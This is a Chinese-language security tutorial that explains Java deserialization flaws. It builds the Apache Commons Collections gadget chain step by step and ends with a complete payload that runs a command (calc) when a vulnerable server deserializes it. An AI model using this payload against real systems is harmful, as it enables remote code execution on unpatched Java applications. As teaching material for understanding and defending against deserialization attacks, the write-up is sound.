Java反序列化漏洞基础知识 | 干货
2023-5-26 23:12:12 Author: 渗透安全团队(查看原文) 阅读量:25 收藏

基础知识

java序列化

把 Java 对象转换为字节序列的过程便于保存在内存、文件、数据库中,ObjectOutputStream类的 writeObject() 方法可以实现序列化。

java反序列化

指把字节序列恢复为 Java 对象的过程,ObjectInputStream 类的 readObject() 方法用于反序列化。

序列化的作用

序列化与反序列化是让 Java 对象脱离 Java 运行环境的一种手段,可以有效的实现多平台之间的通信、对象持久化存储。主要应用在以下场景:

HTTP:多平台之间的传输等

RMI:是 Java 的一组拥护开发分布式应用程序的 API,实现了不同操作系统之间程序的方法调用。值得注意的是,RMI 的传输 100% 基于反序列化,Java RMI 的默认端口是 1099 端口。

java反序列化漏洞成因

暴露或间接暴露反序列化 API ,导致用户可以操作传入数据,攻击者可以精心构造反序列化对象并执行恶意代码

反序列化时会调用readObject()函数,如果重写了readObject函数,并且里面含有恶意代码,那么在反序列化时调用这个函数就会直接执行恶意代码。

java反序列化分析

接下来可以直接用一个例子来具体分析一下java反序列化漏洞,代码如下:

import java.io.*;

class MyObject implements Serializable{
public String name;
//重写readObject()方法
private void readObject(java.io.ObjectInputStream in) throws IOException, ClassNotFoundException, IOException {
//执行默认的readObject()方法
in.defaultReadObject();
//执行打开计算器程序命令
Runtime.getRuntime().exec("calc.exe");
}
}

public class testSerialize {
public static void main(String args[]) throws Exception{
//定义myObj对象
MyObject myObj = new MyObject();
myObj.name = "hi";
//创建一个包含对象进行反序列化信息的”object”数据文件
FileOutputStream fos = new FileOutputStream("object");
ObjectOutputStream os = new ObjectOutputStream(fos);
//writeObject()方法将myObj对象写入object文件
os.writeObject(myObj);
os.close();
//从文件中反序列化obj对象
FileInputStream fis = new FileInputStream("object");
ObjectInputStream ois = new ObjectInputStream(fis);
//恢复对象
MyObject objectFromDisk = (MyObject)ois.readObject();
System.out.println(objectFromDisk.name);
ois.close();
}
}

首先我们定义了一个Myobject类并继承了Serializable接口,并且重写了readObject方法。我们知道在反序列化时会执行readObject方法。而我们在readObject()方法中写入了Runtime.getRuntime().exec("calc.exe"),在反序列化时就会执行相应的命令。

这里需要注意:只有实现了Serializable接口的类的对象才可以被序列化,Serializable 接口是启用其序列化功能的接口,实现 java.io.Serializable 接口的类才是可序列化的,没有实现此接口的类将不能使它们的任一状态被序列化或逆序列化。

效果如下:

1685006160_646f27507f9b17b5e9010.png!small?1685006161455

看到这里,可能有人会问,你这样时一种理想情况,实际上谁会这样写readObject()方法。没错,在实际情况中我们机会没有遇到过这样写的,但是我们还可以通过其它方式去利用。如果readObject()中调用了其它类的方法,而其它类的方法使用了危险函数,那么是不是也可以进行利用。

那么,现在问题的关键就变成了找到一条这样的利用链。

接下来来看一个实际的例子, Apache-Commons-Collections反序列化漏洞。

Apache-Commons-Collections反序列化漏洞分析

Apache Commons Collections是Apache Commons的组件,该漏洞的问题主要出现在org.apache.commons.collections.Transformer接口上。在Apache commons.collections中有一个InvokerTransformer实现了Transformer接口,主要作用为调用Java的反射机制来调用任意函数。

先来看一下Transformer接口,只定义了下面的一个方法:

InvokerTransformer继承了Transformer,并实现了该方法:

public class InvokerTransformer implements Transformer, Serializable {
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
super();
iMethodName = methodName;
iParamTypes = paramTypes;
iArgs = args;
}
public Object transform(Object input) {
if (input == null) {
return null;
}
try {
Class cls = input.getClass();
Method method = cls.getMethod(iMethodName, iParamTypes);
return method.invoke(input, iArgs);

} catch (NoSuchMethodException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist");
} catch (IllegalAccessException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
} catch (InvocationTargetException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);
}
}
}

上面的代码中可以看出,这里利用了反射机制,调用传入对象的任意方法。

上面的三个参数分别表示的意思是:

methodName:方法名

paramTypes: 参数类型

args:传入方法的参数值

如果想要直接调用上面的InvokerTransformer的transform方法进行命令执行,可以这样写:

Runtime runtime = Runtime.getRuntime();
InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new String[]{"calc"});
invokerTransformer.transform(runtime);

这里还有一个问题就是如何获得Runtime.getRuntime()类并把这个类传入invokerTransformer.transform(runtime)函数中?

接下来又找到下面的两个类:ConstantTransformer类和ChainedTransformer类

先来看看ConstantTransformer类:

public class ConstantTransformer implements Transformer, Serializable {
public ConstantTransformer(Object constantToReturn) {
super();
iConstant = constantToReturn;
}
public Object transform(Object input) {
return iConstant;
}
}

从上面可以看出可以传入一个类实例化以后,调用transform方法,会直接返回传入的类。这个正好可以用来获得Runtime.getRuntime()类。

接下来再来看看另一个类ChainedTransformer:

public ChainedTransformer(Transformer[] transformers) {
this.iTransformers = transformers;
}

public Object transform(Object object) {
for(int i = 0; i < this.iTransformers.length; ++i) {
object = this.iTransformers[i].transform(object);
}
return object;
}

如果iTransformers为上面的InvokerTransformer对象,我们可以构造多个InvokerTransformer对象(注意这里的iTransformers是个数组),让这条语句通过反射来创建Runtime的实例:

那么我们现在可以构造这样的代码去执行命令:

Transformer[] transformers = new Transformer[] {
//Runtime.class.getMethod('getRuntime').invoke()
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }),
new InvokerTransformer("exec", new Class[] { String.class }, new Object[] { "calc" })
//获取java.lang.class
};
Transformer transformerChain = new ChainedTransformer(transformers);
transformerChain.transform("123");

到这里,又发现一个问题,要让反序列化的时候能够执行,那么就需要找到这样一个类:这个类重写了readOjbect()函数,并且调用了ChainedTransformer类的transform()方法,只有这样才能在反序列化的时候自动执行我们的命令。

比较幸运的是,存在这样的类,它们就是TransformeMap和AnnotationInvocationHandler类。

在TransformeMap类中存在一个这样的方法:

protected Object checkSetValue(Object value) {
return valueTransformer.transform(value);
}

如果valueTransformer为我们构造的ChainedTransformer对象,那么就可以满足上面的条件。

通过分析构造函数,我们发现这个值是可以直接构造的:

public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
return new TransformedMap(map, keyTransformer, valueTransformer);
}

protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
super(map);
this.keyTransformer = keyTransformer;
this.valueTransformer = valueTransformer;
}

那么接下来的问题就变成,如何去调用checkSetValue()方法。继续跟进TransformeMap的父类AbstractInputCheckedMapDecorator,在里面有一个静态的内部类:

static class MapEntry extends AbstractMapEntryDecorator {
private final AbstractInputCheckedMapDecorator parent;

protected MapEntry(Entry entry, AbstractInputCheckedMapDecorator parent) {
super(entry);
this.parent = parent;
}

public Object setValue(Object value) {
value = this.parent.checkSetValue(value);
return super.entry.setValue(value);
}
}

这里的setValue方法调用了checkSetValue,如果this.parent指向我们前面构造的TransformeMap对象,那么这里就可以触发漏洞点。

到这里就可以进一步完善我们的调用链:

Transformer[] transformers = new Transformer[] {
//Runtime.class.getMethod('getRuntime').invoke()
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }),
new InvokerTransformer("exec", new Class[] { String.class }, new Object[] { "calc" })
//获取java.lang.class
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
innerMap.put("1", "1");
//构造TransformedMap对象,带入前面构造的transformerChain
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
//返回Entry这个内部类
Map.Entry onlyElement = (Map.Entry) outerMap.entrySet().iterator().next();

onlyElement.setValue("123123");

到目前为止还是跟上面一样的问题,要是在反序列化的时候利用就必须在readObject()方法中,现在变成了找到一个这样的readObject()方法。

这里就需要用到AnnotationInvocationHandler这个类(JDK版本要小于1.7),该类重写了readObject方法,在该方法里面调用了map的setValue方法:

private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
s.defaultReadObject();

// Check to make sure that types have not evolved incompatibly

AnnotationType annotationType = null;
try {
annotationType = AnnotationType.getInstance(type);
} catch(IllegalArgumentException e) {
// Class is no longer an annotation type; all bets are off
return;
}

Map<String, Class<?>> memberTypes = annotationType.memberTypes();

for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
String name = memberValue.getKey();
Class<?> memberType = memberTypes.get(name);
if (memberType != null) { // i.e. member still exists
Object value = memberValue.getValue();
if (!(memberType.isInstance(value) ||
value instanceof ExceptionProxy)) {
memberValue.setValue(
new AnnotationTypeMismatchExceptionProxy(
value.getClass() + "[" + value + "]").setMember(
annotationType.members().get(name)));
}
}
}

这里可以发现memberValues是一个map对象,并且是可以由我们直接传入参数的。

找到了这样的一个readObject()方法。到这里,就比较明显了。我们传入一个构造好的AnnotationInvocationHandler对象,目标对其进行反序列,便会造成任意代码执行。

最终的payload如下:

T

Transformer[] transformers = new Transformer[] {
//Runtime.class.getMethod('getRuntime').invoke()
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }),
new InvokerTransformer("exec", new Class[] { String.class }, new Object[] { "calc" })
//获取java.lang.class
};
Transformer transformerChain = new ChainedTransformer(transformers);
//transformerChain.transform("123");

Map innermap = new HashMap();
innermap.put("value", "value");
Map outmap = TransformedMap.decorate(innermap, null, transformerChain);

//通过反射获得AnnotationInvocationHandler类对象
Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
//通过反射获得cls的构造函数
Constructor ctor = cls.getDeclaredConstructor(Class.class, Map.class);
//这里需要设置Accessible为true,否则序列化失败
ctor.setAccessible(true);
//通过newInstance()方法实例化对象

Object instance = ctor.newInstance(Retention.class, outmap);
return instance;

对上面的payload进行序列化,然后发送给反序列化的接口,就可以执行我们想要执行的命令。

最后再来总结一下利用链(来自ysoserial):

Java反序列化历史漏洞

Java 十分受开发者喜爱的一点是其拥有完善的第三方类库,和满足各种需求的框架;但正因为很多第三方类库引用广泛,如果其中某些组件出现安全问题,那么受影响范围将极为广泛。

很多常用的组件都出过反序列化漏洞,如fastjson,jackson,hibernate,Apache Commons Collections等等。

常用工具

ysoserial:集合了各种反序列化poc的工具

marshalsec:反序列化poc,以及可以启动rmi,jndi服务端

如何查找反序列化漏洞

反序列化漏洞一般需要满足两个条件:

1)入口类,也就是触发点,反序列化的入口

2)程序中存在一条可以产生安全问题的利用链。将这个利用链序列化发送给序列化入口,反序列化后执行代码。

利用链一般出现在各种第三方组件中,可以看项目中是否使用了在危险版本的组件。

参考链接:

https://paper.seebug.org/312/

https://zhuanlan.zhihu.com/p/389252470

- END -https://www.freebuf.com/articles/web/367585.html

文章来源: http://mp.weixin.qq.com/s?__biz=MzkxNDAyNTY2NA==&mid=2247505332&idx=2&sn=8c01aeffc9ce23fdc1e606402aa87c43&chksm=c176281bf601a10d83255144c37e30bd596a70bc30982a2a841cf3827c873b3b6291a83ef037#rd
如有侵权请联系:admin#unsafe.sh